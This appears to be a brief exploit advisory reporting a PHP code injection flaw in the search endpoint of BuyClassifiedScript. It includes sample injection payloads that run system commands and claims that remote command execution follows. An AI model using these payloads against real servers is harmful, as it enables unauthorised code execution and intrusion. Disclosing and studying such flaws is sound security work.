BuyClassifiedScript suffers from an arbitrary php code execution vulnerability.
1d47dd28c7b9bccc97e6f8b813c6ecfe54aade43089149efe88d27ee09d44f53
# Exploit Title: buyclassifiedscript PHP code injection vulnerability
# Date: 25.11.201
# Exploit Author: d3b4g
# Vendor Homepage: http://buyclassifiedscript.com/
# Tested on:Windows 7
# Blog: d3b4g.me
----------------------------------------------------------------------------------
This vulnerability allows an attacker to inject custom code
into the server side scripting engine.It's possible to get a remote cmd by taking
advantage of this vulnerability.
Vulnerable function:
/search/
() php code excution :
http://localhost/path/search {Inject malicious code}
() example of code you can inject:
// ${@system(ls)}
${@print(hello)}
$_GET['cmd']
//
-end-